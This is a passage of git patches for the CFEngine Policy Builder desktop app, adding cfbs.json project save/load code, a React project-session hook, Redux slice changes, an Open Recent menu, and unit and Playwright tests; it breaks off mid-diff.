b/src/renderer/src/project/cfbsProject.test.ts new file mode 100644 index 0000000..f13da42 --- /dev/null +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -0,0 +1,96 @@ +import { describe, expect, it } from 'vitest'; + +import { createNginxDemoProject } from '../demo/nginxDemoProject'; +import { derivedNodeMoved } from '../store/derivedNodesSlice'; +import { fileAdded, fileConditionClassNameChanged, fileConditionEnabled, folderAdded } from '../store/filesSlice'; +import { groupCreated } from '../store/groupsSlice'; +import { addBlock, makeStore } from '../store/test/storeTestUtils'; +import { META_KEY, SCHEMA_VERSION, fromCfbsProject, toCfbsProject } from './cfbsProject'; + +function buildProject() { + const store = makeStore(); + createNginxDemoProject(store.dispatch); + const folderId = store.dispatch(folderAdded('Services')).payload.id; + const fileId = store.dispatch(fileAdded('Cron jobs', folderId)).payload.id; + store.dispatch(fileConditionEnabled({ fileId })); + store.dispatch(fileConditionClassNameChanged({ fileId, className: 'linux' })); + const blockId = addBlock(store, fileId); + store.dispatch(groupCreated({ color: 'info', fileId, instanceIds: [blockId], name: 'Reports' })); + store.dispatch(derivedNodeMoved({ key: `${fileId}|data|${blockId}|x`, position: { x: 10, y: 20 } })); + return { fileId, folderId, state: store.getState() }; +} + +const masterfiles = { name: 'masterfiles', version: '3.27.1', added_by: 'cfbs init' }; +const asCfbsJson = ({ meta, modules }: ReturnType, extra: object = {}) => + JSON.parse(JSON.stringify({ name: 'x', meta, build: [masterfiles, ...modules], ...extra })); + +describe('cfbsProject', () => { + it('round-trips the project through cfbs.json', () => { + const { state } = buildProject(); + + const restored = fromCfbsProject(asCfbsJson(toCfbsProject(state))); + + expect(restored.files).toEqual(state.files); + expect(restored.canvas).toEqual(expect.arrayContaining(state.canvas)); + expect(restored.canvas).toHaveLength(state.canvas.length); + expect(restored.edges).toEqual(state.edges); + expect(restored.groups).toEqual(state.groups); + expect(restored.derivedNodes).toEqual(state.derivedNodes); + }); + + it('writes one plain local file module per policy file, its folder as a path', () => { + const { fileId, state } = buildProject(); + const { meta, modules } = toCfbsProject(state); + const file = state.files.files.find(item => item.id === fileId)!; + const path = `policy/services/${file.namespace}.cf`; + + expect(modules).toHaveLength(state.files.files.length); + // Exactly what `cfbs add` writes, but for the namespaced bundle; no builder data on it. + expect(modules.find(item => item.name === `./${path}`)).toEqual({ + name: `./${path}`, + description: 'Local policy file added using cfbs command line', + tags: ['local'], + added_by: 'cfbs add', + steps: [`copy ./${path} services/cfbs/${path}`, `policy_files services/cfbs/${path}`, `bundles ${file.namespace}:main`] + }); + expect(meta[META_KEY]).toMatchObject({ schema_version: SCHEMA_VERSION, folders: [{ name: 'Services', path: './policy/services/' }] }); + expect(meta[META_KEY].files.map(item => item.path)).toEqual(modules.map(item => item.name)); + expect(meta[META_KEY].files.find(item => item.id === fileId)).toMatchObject({ + name: 'Cron jobs', + namespace: file.namespace, + path: `./${path}`, + condition: { className: 'linux' } + }); + }); + + it('keeps editor-only data in layout, and resolves the execution order', () => { + const { state } = buildProject(); + const { files } = toCfbsProject(state).meta[META_KEY]; + + for (const { blocks, layout, order } of files) { + expect(blocks.every(block => !('fileId' in block) && !('position' in block))).toBe(true); + expect(Object.keys(layout.positions).every(id => blocks.some(block => block.instanceId === id))).toBe(true); + expect(order.every(id => blocks.some(block => block.instanceId === id))).toBe(true); + } + expect(files.some(file => file.order.length > 1)).toBe(true); + }); + + it('gives paths cfbs accepts: slugged, unique folders; file names starting with a letter', () => { + const store = makeStore(); + const first = store.dispatch(folderAdded('Web Servers!')).payload.id; + const second = store.dispatch(folderAdded('web servers')).payload.id; + store.dispatch(fileAdded('2024 plan', first)); + store.dispatch(fileAdded('Main', second)); + + const names = toCfbsProject(store.getState()).modules.map(module => module.name); + + expect(names).toEqual(['./policy/web-servers/file_2024_plan.cf', './policy/web-servers-2/main.cf']); + }); + + it('refuses a newer schema version', () => { + const { state } = buildProject(); + const content = toCfbsProject(state); + content.meta[META_KEY].schema_version = SCHEMA_VERSION + 1; + expect(() => fromCfbsProject(asCfbsJson(content))).toThrow(/schema version/); + }); +}); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts new file mode 100644 index 0000000..61a1f65 --- /dev/null +++ b/src/renderer/src/project/cfbsProject.ts @@ -0,0 +1,223 @@ +import { blockDescriptorsById } from '../blocks/loadBlocks'; +import { executionOrder } from '../canvas/executionOrder'; +import type { RootState } from '../store'; +import type { BlockInstance, Condition } from '../store/canvasSlice/types'; +import type { BlockEdge } from '../store/edgesSlice/types'; +import type { PolicyFile, PolicyFolder } from '../store/filesSlice/types'; +import type { BlockGroup } from '../store/groupsSlice/types'; +import type { UndoableKey } from '../store/history'; + +/** + * The builder's state as it's stored in cfbs.json: a normal cfbs project with + * one plain local file module per policy file (what `cfbs add ./policy/x.cf` + * writes), and all of the builder's own data — folders and every file's + * canvas — in the top-level `meta["policy-builder"]`. Folders are only path + * prefixes. The .cf files themselves aren't generated yet. + */ + +export const SCHEMA_VERSION = 1; +export const META_KEY = 'policy-builder'; +const POLICY_DIR = './policy/'; +const OUTPUT_DIR = 'services/cfbs/policy/'; + +export type ProjectData = Pick; +type Position = { x: number; y: number }; + +export interface ProjectMeta { + current_file_id: string | null; + // In build order; each file's `path` is its module's name. + files: FileMeta[]; + // `path` is the folder's directory, e.g. "./policy/services/". + folders: (PolicyFolder & { path: string })[]; + schema_version: number; + // Stamped by the main process on save (the app's version). + tool_version?: string; +} + +export interface FileMeta { + blocks: Omit[]; + condition?: Condition; + edges: Omit[]; + id: string; + // Editor-only: nothing here changes the compiled policy. + layout: { + // derivedNodes positions, keyed without the `${fileId}|` prefix. + derived_positions: Record; + groups: Omit[]; + positions: Record; + }; + // The display name; the path is a slug. + name: string; + namespace: string; + // The methods: call order, resolved here so a compiler needs no canvas. + order: string[]; + // The file's module in `build`, e.g. "./policy/services/cron_jobs.cf". + path: string; +} + +export interface PolicyModule { + added_by: 'cfbs add'; + description: string; + name: string; + steps: string[]; + tags: string[]; +} + +export interface CfbsProjectContent { + meta: { [META_KEY]: ProjectMeta }; + modules: PolicyModule[]; +} + +const withoutFileId = ({ fileId: _fileId, ...rest }: T): Omit => rest; + +const slug = (name: string) => + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') + .slice(0, 40) + .replace(/-+$/, '') || 'folder'; + +// Folder id → its directory; sibling folders whose slugs clash get -2, -3…. +function folderPaths(folders: PolicyFolder[]): Map { + const paths = new Map(); + const resolve = (folder: PolicyFolder): string => { + const known = paths.get(folder.id); + if (known) return known; + const parent = folders.find(item => item.id === folder.parentId); + const base = parent ? resolve(parent) : POLICY_DIR; + const taken = new Set([...paths.values()]); + let path = `${base}${slug(folder.name)}/`; + for (let suffix = 2; taken.has(path); suffix += 1) path = `${base}${slug(folder.name)}-${suffix}/`; + paths.set(folder.id, path); + return path; + }; + folders.forEach(resolve); + return paths; +} + +// cfbs wants a module's file name to start with a lowercase letter. +const fileNameOf = (namespace: string) => `${/^[a-z]/.test(namespace) ? '' : 'file_'}${namespace}.cf`; + +function toFileMeta(file: PolicyFile, path: string, data: ProjectData): FileMeta { + const prefix = `${file.id}|`; + const instances = data.canvas.filter(block => block.fileId === file.id); + const edges = data.edges.filter(edge => edge.fileId === file.id); + const derivedPositions = Object.entries(data.derivedNodes) + .filter(([key]) => key.startsWith(prefix)) + .map(([key, position]) => [key.slice(prefix.length), position]); + return { + id: file.id, + name: file.name, + namespace: file.namespace, + path, + ...(file.condition ? { condition: file.condition } : {}), + blocks: instances.map(({ fileId: _fileId, position: _position, ...rest }) => rest), + edges: edges.map(withoutFileId), + order: executionOrder(instances, edges, blockDescriptorsById), + layout: { + positions: Object.fromEntries(instances.flatMap(block => (block.position ? [[block.instanceId, block.position]] : []))), + groups: data.groups.filter(group => group.fileId === file.id).map(withoutFileId), + derived_positions: Object.fromEntries(derivedPositions) + } + }; +} + +// Exactly what `cfbs add` writes, except the namespaced bundle (it would write `bundles main`). +function toModule(file: PolicyFile, path: string): PolicyModule { + const output = `${OUTPUT_DIR}${path.slice(POLICY_DIR.length)}`; + return { + name: path, + description: 'Local policy file added using cfbs command line', + tags: ['local'], + added_by: 'cfbs add', + steps: [`copy ${path} ${output}`, `policy_files ${output}`, `bundles ${file.namespace}:main`] + }; +} + +export function toCfbsProject(data: ProjectData): CfbsProjectContent { + const paths = folderPaths(data.files.folders); + const pathOf = (file: PolicyFile) => `${(file.parentId && paths.get(file.parentId)) || POLICY_DIR}${fileNameOf(file.namespace)}`; + return { + meta: { + [META_KEY]: { + schema_version: SCHEMA_VERSION, + folders: data.files.folders.map(folder => ({ ...folder, path: paths.get(folder.id)! })), + files: data.files.files.map(file => toFileMeta(file, pathOf(file), data)), + current_file_id: data.files.currentFileId + } + }, + modules: data.files.files.map(file => toModule(file, pathOf(file))) + }; +} + +const isObject = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); + +// The builder's part of cfbs.json's `meta`, if any. +const builderMetaOf = (entry: unknown): Record | undefined => { + const meta = isObject(entry) && isObject(entry.meta) ? entry.meta[META_KEY] : undefined; + return isObject(meta) ? meta : undefined; +}; + +const listOf = (value: T[] | undefined): T[] => (Array.isArray(value) ? value : []); + +function checkSchemaVersion(version: unknown) { + if (typeof version !== 'number' || version > SCHEMA_VERSION) { + throw new Error(`Unsupported project schema version ${version}; this app supports up to ${SCHEMA_VERSION}`); + } +} + +/** Rebuilds the builder's in-memory state from a parsed cfbs.json. */ +export function fromCfbsProject(json: unknown): ProjectData { + const project = builderMetaOf(json) as unknown as ProjectMeta | undefined; + if (!project) throw new Error(`Not a CFEngine Policy Builder project (no "meta"."${META_KEY}" in cfbs.json)`); + checkSchemaVersion(project.schema_version); + const folders = listOf(project.folders); + const modules = listOf(project.files) + .filter(file => isObject(file) && typeof file.id === 'string') + .map(file => ({ file, path: typeof file.path === 'string' ? file.path : '' })); + + // A file's folder is the one whose directory holds it. + const folderOf = (path: string) => folders.find(folder => typeof folder.path === 'string' && path === `${folder.path}${path.split('/').pop()}`); + const files: PolicyFile[] = modules.map(({ file: { condition, id, name, namespace }, path }) => ({ + ...(condition ? { condition } : {}), + id, + name: typeof name === 'string' ? name : id, + namespace: typeof namespace === 'string' ? namespace : id, + parentId: folderOf(path)?.id ?? null + })); + const perFile = (pick: (file: FileMeta) => T[] | undefined) => + modules.flatMap(({ file }) => listOf(pick(file)).map(item => ({ ...item, fileId: file.id }))); + const canvas = modules.flatMap(({ file }) => { + const positions = isObject(file.layout?.positions) ? file.layout.positions : {}; + return listOf(file.blocks).map(block => { + const position = positions[block.instanceId]; + return { ...block, fileId: file.id, ...(position ? { position } : {}) } as BlockInstance; + }); + }); + const derivedNodes = Object.fromEntries( + modules.flatMap(({ file }) => + Object.entries(isObject(file.layout?.derived_positions) ? file.layout.derived_positions : {}).map(([key, position]) => [`${file.id}|${key}`, position]) + ) + ); + const currentFileId = files.some(file => file.id === project.current_file_id) ? project.current_file_id : (files[0]?.id ?? null); + + return { + canvas, + derivedNodes, + edges: perFile(file => file.edges), + files: { currentFileId, files, folders: folders.map(({ id, name, parentId }) => ({ id, name, parentId })) }, + groups: perFile(file => (isObject(file.layout) ? file.layout.groups : undefined)) + }; +} + +/** The project folder's name for a project name: "Web Server Hardening" → "web-server-hardening". */ +export function projectFolderName(name: string): string { + return name + .trim() + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') + .slice(0, 100) + .replace(/-+$/, ''); +} diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts new file mode 100644 index 0000000..3f742f4 --- /dev/null +++ b/src/renderer/src/project/useProjectSession.ts @@ -0,0 +1,153 @@ +import { useRef, useState } from 'react'; +import { useStore } from 'react-redux'; + +import type { ProjectFormValues, SubmitResult } from '../components/dialogs/NewProjectDialog'; +import { createNginxDemoProject } from '../demo/nginxDemoProject'; +import { type RootState, createAppStore, useAppDispatch, useAppSelector } from '../store'; +import { projectFilesInitialized } from '../store/filesSlice'; +import { UNDOABLE_KEYS, historyCleared } from '../store/history'; +import { projectCreated, projectLocated } from '../store/projectSlice'; +import { selectCurrentProject } from '../store/projectSlice/selectors'; +import { type ProjectData, toCfbsProject } from './cfbsProject'; + +const snapshotOf = (state: RootState): ProjectData => ({ + canvas: state.canvas, + derivedNodes: state.derivedNodes, + edges: state.edges, + files: state.files, + groups: state.groups +}); + +const errorMessage = (cause: unknown) => (cause instanceof Error ? cause.message : String(cause)); + +/** + * The open project's life cycle: creating it (on disk via cfbs, or in memory), + * saving, and dirty tracking. Dirty = an undoable slice's reference differs + * from the last save, so undoing back to it is clean again. + */ +export function useProjectSession() { + const store = useStore(); + const dispatch = useAppDispatch(); + const project = useAppSelector(selectCurrentProject); + const [baseline, setBaseline] = useState(null); + const dirty = useAppSelector(state => baseline !== null && UNDOABLE_KEYS.some(key => state[key] !== baseline[key])); + const [projectDialog, setProjectDialog] = useState<'new' | 'saveAs' | null>(null); + const [pendingAction, setPendingAction] = useState<(() => void) | null>(null); + const [saveError, setSaveError] = useState(null); + const saving = useRef(false); + // Resolves the save a "Save Project As" dialog was opened for. + const saveAsDone = useRef<((saved: boolean) => void) | null>(null); + + const markSaved = (data = snapshotOf(store.getState())) => setBaseline(data); + + const createProject = async (values: ProjectFormValues): Promise => { + const { name, description } = values; + const filesInitialized = projectFilesInitialized(name); + const open = (located: { masterfiles: string | null; path: string | null }) => { + dispatch(projectCreated({ name, description, ...located })); + // Every project starts with one policy file, named after the project (its namespace derives from it). + dispatch(filesInitialized); + dispatch(historyCleared()); + markSaved(); + }; + if (!window.api || !values.parent) { + open({ masterfiles: null, path: null }); + return { ok: true }; + } + // Build the initial content in a scratch store, so disk matches what `open` then dispatches. + const scratch = createAppStore(); + scratch.dispatch(projectCreated({ name })); + scratch.dispatch(filesInitialized); + const result = await window.api.createProject({ ...values, parent: values.parent, ...toCfbsProject(snapshotOf(scratch.getState())) }); + if (!result.ok) return result; + open(result); + return { ok: true }; + }; + + const saveProjectAs = async (values: ProjectFormValues): Promise => { + if (!window.api || !values.parent) return { ok: false, message: 'Saving needs the desktop app', details: '' }; + const data = snapshotOf(store.getState()); + const result = await window.api.createProject({ ...values, parent: values.parent, ...toCfbsProject(data) }); + if (!result.ok) return result; + dispatch(projectLocated({ name: values.name, description: values.description, masterfiles: result.masterfiles, path: result.path })); + markSaved(data); + return { ok: true }; + }; + + const closeProjectDialog = () => { + setProjectDialog(null); + saveAsDone.current?.(false); + saveAsDone.current = null; + }; + + const submitProjectDialog = async (values: ProjectFormValues) => { + const result = await (projectDialog === 'saveAs' ? saveProjectAs(values) : createProject(values)); + if (result.ok) { + setProjectDialog(null); + saveAsDone.current?.(true); + saveAsDone.current = null; + } + return result; + }; + + // Resolves with whether the project ended up saved. + const save = async (): Promise => { + const current = store.getState().project; + if (!current || !window.api || saving.current) return false; + if (!current.path) { + saveAsDone.current?.(false); + setProjectDialog('saveAs'); + return new Promise(resolve => (saveAsDone.current = resolve)); + } + saving.current = true; + const data = snapshotOf(store.getState()); + try { + const result = await window.api.saveProject(current.path, toCfbsProject(data)); + if (!result.ok) throw new Error(result.message); + markSaved(data); + return true; + } catch (cause) { + setSaveError(`Couldn’t save the project: ${errorMessage(cause)}`); + return false; + } finally { + saving.current = false; + } + }; + + // Runs `action` now, or after Save / Don't Save when there are unsaved changes. + const guarded = (action: () => void) => { + if (dirty) setPendingAction(() => action); + else action(); + }; + + const unsavedPrompt = pendingAction && { + onCancel: () => setPendingAction(null), + onDiscard: () => { + setPendingAction(null); + pendingAction(); + }, + onSave: async () => { + setPendingAction(null); + if (await save()) pendingAction(); + } + }; + + return { + closeProjectDialog, + dirty, + dismissSaveError: () => setSaveError(null), + newProject: () => guarded(() => setProjectDialog('new')), + project, + projectDialog, + requestClose: () => guarded(() => window.api?.confirmWindowClose()), + save, + saveError, + startDemo: () => + guarded(() => { + createNginxDemoProject(dispatch); + markSaved(); + }), + submitProjectDialog, + unsavedPrompt + }; +} diff --git a/src/renderer/src/store/history.ts b/src/renderer/src/store/history.ts index baab903..e9e2a1d 100644 --- a/src/renderer/src/store/history.ts +++ b/src/renderer/src/store/history.ts @@ -19,8 +19,8 @@ export function inOneStep(dispatch: Dispatch, run: () => void) { } const LIMIT = 100; -const UNDOABLE_KEYS = ['canvas', 'derivedNodes', 'edges', 'files', 'groups'] as const; -type UndoableKey = (typeof UNDOABLE_KEYS)[number]; +export const UNDOABLE_KEYS = ['canvas', 'derivedNodes', 'edges', 'files', 'groups'] as const; +export type UndoableKey = (typeof UNDOABLE_KEYS)[number]; // Text edits dispatch per keystroke: consecutive ones to the same field merge // into one step. The value is the payload field being typed into. diff --git a/src/renderer/src/store/projectSlice/index.ts b/src/renderer/src/store/projectSlice/index.ts index c4f7583..4a31bea 100644 --- a/src/renderer/src/store/projectSlice/index.ts +++ b/src/renderer/src/store/projectSlice/index.ts @@ -2,6 +2,8 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import type { Project } from './types'; +type NewProject = Pick & Partial>; + const projectSlice = createSlice({ name: 'project', initialState: null as Project | null, @@ -11,12 +13,16 @@ const projectSlice = createSlice({ reducer(_state, action: PayloadAction) { return action.payload; }, - prepare(project: Omit) { - return { payload: { ...project, id: crypto.randomUUID() } }; + prepare({ description = '', masterfiles = null, name, path = null }: NewProject) { + return { payload: { description, id: crypto.randomUUID(), masterfiles, name, path } }; } + }, + // An in-memory project got its folder on disk ("Save Project As"); content stays as is. + projectLocated(state, action: PayloadAction>) { + if (state) Object.assign(state, action.payload); } } }); -export const { projectCreated } = projectSlice.actions; +export const { projectCreated, projectLocated } = projectSlice.actions; export default projectSlice.reducer; diff --git a/src/renderer/src/store/projectSlice/types.ts b/src/renderer/src/store/projectSlice/types.ts index cdd81a3..7d23a15 100644 --- a/src/renderer/src/store/projectSlice/types.ts +++ b/src/renderer/src/store/projectSlice/types.ts @@ -1,5 +1,10 @@ export interface Project { + description: string; // New per created project; remounts the project view. id: string; + // The masterfiles version in the cfbs project, null for none (or not saved yet). + masterfiles: string | null; name: string; + // The cfbs project folder; null while the project only lives in memory (the demo). + path: string | null; } From f65b0f24fe9294110b95145a0c34ba5ee1940781 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 29 Sep 2026 17:27:27 +0300 Subject: [PATCH 003/141] Added Open Project, with recent projects A project opens from its folder or its cfbs.json: File > Open, the start screen, dropping it on the window, or the recent projects list (start screen and File > Open Recent, last 5). A cfbs project not made with the builder opens with one empty policy file, and its other modules are kept on save. Unsaved changes are asked about first; a newer or broken project file shows an error and leaves the current project as it was. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/open.spec.ts | 154 ++++++++++++++++++ src/main/index.ts | 45 ++++- src/main/project.ts | 142 ++++++++++++++-- src/preload/api.d.ts | 27 ++- src/preload/index.ts | 29 +++- src/renderer/src/App.tsx | 42 ++++- .../src/components/ProjectStatusLabel.tsx | 2 +- src/renderer/src/pages/NoProjectScreen.tsx | 87 +++++++++- src/renderer/src/project/cfbsProject.test.ts | 54 +++++- src/renderer/src/project/cfbsProject.ts | 44 ++++- src/renderer/src/project/useProjectSession.ts | 30 +++- src/renderer/src/store/canvasSlice/index.ts | 3 +- .../src/store/clipboardSlice/index.ts | 4 +- .../src/store/derivedNodesSlice/index.ts | 3 +- src/renderer/src/store/edgesSlice/index.ts | 3 +- src/renderer/src/store/filesSlice/index.ts | 4 + src/renderer/src/store/groupsSlice/index.ts | 3 +- src/renderer/src/store/projectSlice/index.ts | 13 +- src/renderer/src/store/projectSlice/types.ts | 14 ++ 19 files changed, 649 insertions(+), 54 deletions(-) create mode 100644 e2e/open.spec.ts diff --git a/e2e/open.spec.ts b/e2e/open.spec.ts new file mode 100644 index 0000000..60ec75f --- /dev/null +++ b/e2e/open.spec.ts @@ -0,0 +1,154 @@ +import { type ElectronApplication, type Page, _electron as electron, expect, test } from '@playwright/test'; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'fs'; +import { tmpdir } from 'os'; +import { join, resolve } from 'path'; + +// Opening projects from disk. Fixtures are written directly (no Python sidecar needed), and opened +// the way the File > Open Recent menu does it, so no native dialog is involved. +const appEntry = resolve(__dirname, '../out/main/index.js'); + +let app: ElectronApplication; +let window: Page; +let scratchDir: string; +const consoleErrors: string[] = []; + +const readJson = (path: string) => JSON.parse(readFileSync(path, 'utf-8')); + +function writeProject(folder: string, cfbs: object): string { + const path = join(scratchDir, folder); + mkdirSync(path); + writeFileSync(join(path, 'cfbs.json'), JSON.stringify(cfbs, null, 2)); + return path; +} + +const block = (instanceId: string, label: string) => ({ + instanceId, + blockId: 'report-message', + label, + params: { message: `${label} from the E2E test` } +}); + +const builderProject = { + name: 'Web Hardening', + description: 'Opened by the E2E test', + type: 'policy-set', + build: [ + { name: 'masterfiles', version: '3.27.1', added_by: 'cfbs init' }, + { + name: './policy/web.cf', + description: 'Local policy file added using cfbs command line', + tags: ['local'], + added_by: 'cfbs add', + steps: ['copy ./policy/web.cf services/cfbs/policy/web.cf', 'policy_files services/cfbs/policy/web.cf', 'bundles web:main'] + } + ], + meta: { + 'policy-builder': { + schema_version: 1, + folders: [], + files: [ + { + id: 'file-1', + name: 'Web', + namespace: 'web', + path: './policy/web.cf', + blocks: [block('block-1', 'Say hello'), block('block-2', 'Say goodbye')], + edges: [{ id: 'edge-1', source: 'block-1', target: 'block-2', outcomes: ['kept'] }], + order: ['block-1', 'block-2'], + layout: { positions: { 'block-1': { x: 0, y: 0 }, 'block-2': { x: 0, y: 200 } }, groups: [], derived_positions: {} } + } + ], + current_file_id: 'file-1' + } + } +}; + +const openFromMenu = (path: string) => + app.evaluate(({ BrowserWindow }, target) => BrowserWindow.getAllWindows()[0].webContents.send('menu:open-recent', target), path); + +test.beforeEach(async () => { + scratchDir = mkdtempSync(join(tmpdir(), 'cfpb-e2e-open-')); + const userDataDir = join(scratchDir, 'user-data'); + const env = Object.fromEntries(Object.entries(process.env).filter(([key, value]) => key !== 'ELECTRON_RUN_AS_NODE' && value !== undefined)) as Record< + string, + string + >; + app = await electron.launch({ args: [appEntry, `--user-data-dir=${userDataDir}`], env }); + window = await app.firstWindow(); + window.on('console', message => { + if (message.type() === 'error') consoleErrors.push(message.text()); + }); + window.on('pageerror', error => consoleErrors.push(`pageerror: ${error.message}`)); + // The renderer listens for menu actions once it has rendered. + await expect(window.getByText(/^Try Demo:/)).toBeVisible(); +}); + +// eslint-disable-next-line no-empty-pattern -- Playwright requires the fixtures arg to be destructured +test.afterEach(async ({}, testInfo) => { + if (testInfo.status !== testInfo.expectedStatus && window) { + const path = testInfo.outputPath('failure.png'); + await window.screenshot({ path }); + await testInfo.attach('screenshot', { path, contentType: 'image/png' }); + } + await app?.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); + await app?.close(); + rmSync(scratchDir, { recursive: true, force: true }); +}); + +test('opens a builder project with its blocks and arrows, clean, and saves it back', async () => { + const path = writeProject('web', builderProject); + const statusBar = window.locator('footer'); + const unsaved = window.getByLabel('Unsaved changes'); + + await test.step('opening loads the blocks and arrows, not dirty', async () => { + await openFromMenu(path); + await expect(statusBar.getByText('Project: Web Hardening')).toBeVisible(); + await expect(statusBar.getByText('Blocks: 2', { exact: true })).toBeVisible(); + await expect(window.locator('.react-flow').getByText('Say goodbye', { exact: true })).toBeVisible(); + await expect(window.locator('.react-flow__edge')).toHaveCount(1); + await expect(unsaved).toHaveCount(0); + await expect.poll(() => app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0].getTitle())).toBe('Web Hardening — CFEngine Policy Builder'); + }); + + await test.step('an edit makes it dirty, ⌘S writes it into cfbs.json', async () => { + await window.getByRole('button', { name: /^Copy File\b/ }).click(); + await expect(statusBar.getByText('Blocks: 3', { exact: true })).toBeVisible(); + await expect(unsaved).toBeVisible(); + await window.keyboard.press('ControlOrMeta+s'); + await expect(unsaved).toHaveCount(0); + const saved = readJson(join(path, 'cfbs.json')); + expect(saved.build[0]).toEqual(builderProject.build[0]); + expect(saved.build[1]).toEqual(builderProject.build[1]); + expect(saved.meta['policy-builder'].files[0].blocks).toHaveLength(3); + expect(saved.meta['policy-builder'].files[0].edges).toHaveLength(1); + }); + + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('opens a plain cfbs project with one empty file, keeping its build entries on save', async () => { + const fake = { name: 'some-module', version: '1.0.0', added_by: 'cfbs add', steps: ['copy a.cf services/a.cf'] }; + const path = writeProject('plain', { name: 'Plain Project', type: 'policy-set', description: '', build: [fake] }); + const statusBar = window.locator('footer'); + + await openFromMenu(join(path, 'cfbs.json')); + await expect(statusBar.getByText('Project: Plain Project')).toBeVisible(); + await expect(statusBar.getByText('Blocks: 0', { exact: true })).toBeVisible(); + await expect(statusBar.getByText('File: Plain Project.cf')).toBeVisible(); + await expect(window.getByLabel('Unsaved changes')).toHaveCount(0); + + await window.keyboard.press('ControlOrMeta+s'); + await expect.poll(() => readJson(join(path, 'cfbs.json')).meta?.['policy-builder']?.schema_version).toBe(1); + const saved = readJson(join(path, 'cfbs.json')); + expect(saved.build[0]).toEqual(fake); + expect(saved.build).toHaveLength(2); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('a project from a newer builder does not open, and shows why', async () => { + const path = writeProject('newer', { ...builderProject, meta: { 'policy-builder': { ...builderProject.meta['policy-builder'], schema_version: 99 } } }); + + await openFromMenu(path); + await expect(window.getByRole('alert')).toContainText('newer version of CFEngine Policy Builder'); + await expect(window.getByText(/^Try Demo:/)).toBeVisible(); +}); diff --git a/src/main/index.ts b/src/main/index.ts index d77ed76..2355cc4 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -4,8 +4,9 @@ import { promises as fs } from 'fs'; import { basename, join } from 'path'; import { pathToFileURL } from 'url'; +import type { RecentProject } from '../preload/api'; import { formatPolicy } from './backend'; -import { registerProjectHandlers } from './project'; +import { clearRecentProjects, getRecentProjects, onRecentsChanged, registerProjectHandlers } from './project'; const APP_TITLE = 'CFEngine Policy Builder'; const MAX_TITLE_LENGTH = 200; @@ -13,6 +14,8 @@ const MAX_TITLE_LENGTH = 200; // Per window: unsaved changes (from window:set-document), and whether the user already agreed to lose them. const documentState = new WeakMap(); let quitting = false; +// The window the application menu talks to. +let menuWindow: BrowserWindow | null = null; // Sidebar/palette resize state the renderer asks us to persist across // launches — kept as its own small file rather than folded into a future @@ -75,9 +78,20 @@ function isTrustedFrame(frame: WebFrameMain | null): boolean { // demo builder); this just forwards a "you chose X" signal down the same // window's preload bridge, since a Menu click handler runs in the main // process and has no access to renderer state. -function buildApplicationMenu(mainWindow: BrowserWindow): Menu { +function buildApplicationMenu(mainWindow: BrowserWindow, recents: RecentProject[]): Menu { const isMac = process.platform === 'darwin'; - const send = (channel: string) => () => mainWindow.webContents.send(channel); + const send = (channel: string, argument?: string) => () => mainWindow.webContents.send(channel, argument); + const openRecent: MenuItemConstructorOptions[] = [ + ...recents.map(recent => ({ + label: recent.name, + sublabel: recent.path, + toolTip: recent.path, + enabled: recent.exists, + click: send('menu:open-recent', recent.path) + })), + ...(recents.length ? [{ type: 'separator' as const }] : []), + { label: 'Clear Recent', enabled: recents.length > 0, click: () => void clearRecentProjects() } + ]; const template: MenuItemConstructorOptions[] = [ ...(isMac ? [{ role: 'appMenu' as const }] : []), @@ -86,6 +100,7 @@ function buildApplicationMenu(mainWindow: BrowserWindow): Menu { submenu: [ { label: 'New Project…', accelerator: 'CmdOrCtrl+N', click: send('menu:new-project') }, { label: 'Open Project…', accelerator: 'CmdOrCtrl+O', click: send('menu:open-project') }, + { label: 'Open Recent', submenu: openRecent }, { label: 'Save', accelerator: 'CmdOrCtrl+S', click: send('menu:save') }, { type: 'separator' }, { label: 'Try Demo: Web Server Hardening', click: send('menu:try-demo') }, @@ -101,6 +116,13 @@ function buildApplicationMenu(mainWindow: BrowserWindow): Menu { return Menu.buildFromTemplate(template); } +async function refreshMenu(): Promise { + if (!menuWindow || menuWindow.isDestroyed()) return; + const window = menuWindow; + const recents = await getRecentProjects().catch(() => []); + if (window === menuWindow && !window.isDestroyed()) Menu.setApplicationMenu(buildApplicationMenu(window, recents)); +} + function createWindow(): void { const mainWindow = new BrowserWindow({ width: 1280, @@ -118,7 +140,11 @@ function createWindow(): void { } }); - Menu.setApplicationMenu(buildApplicationMenu(mainWindow)); + menuWindow = mainWindow; + Menu.setApplicationMenu(buildApplicationMenu(mainWindow, [])); + void refreshMenu(); + // A recent project's folder may have gone (or come back) meanwhile. + mainWindow.on('focus', () => void refreshMenu()); documentState.set(mainWindow, { closeConfirmed: false, edited: false, quitAfterClose: false }); // With unsaved changes the renderer asks Save / Don't Save / Cancel, then confirms via window:close-confirmed. @@ -194,6 +220,11 @@ app.whenReady().then(() => { }); registerProjectHandlers(isTrustedFrame); + // The File menu and the start screen both list recent projects. + onRecentsChanged(() => { + void refreshMenu(); + for (const window of BrowserWindow.getAllWindows()) window.webContents.send('window:recents-changed'); + }); ipcMain.handle('policy:format', (event, source: unknown) => { if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); @@ -247,6 +278,12 @@ app.whenReady().then(() => { }); }); +// macOS: a recent project picked from the Dock menu (or a folder dropped on the Dock icon). +app.on('open-file', (event, path) => { + event.preventDefault(); + if (menuWindow && !menuWindow.isDestroyed()) menuWindow.webContents.send('menu:open-recent', path); +}); + // A quit (⌘Q) goes through each window's 'close'; if one asks first, quit again once it is confirmed. app.on('before-quit', () => { quitting = true; diff --git a/src/main/project.ts b/src/main/project.ts index 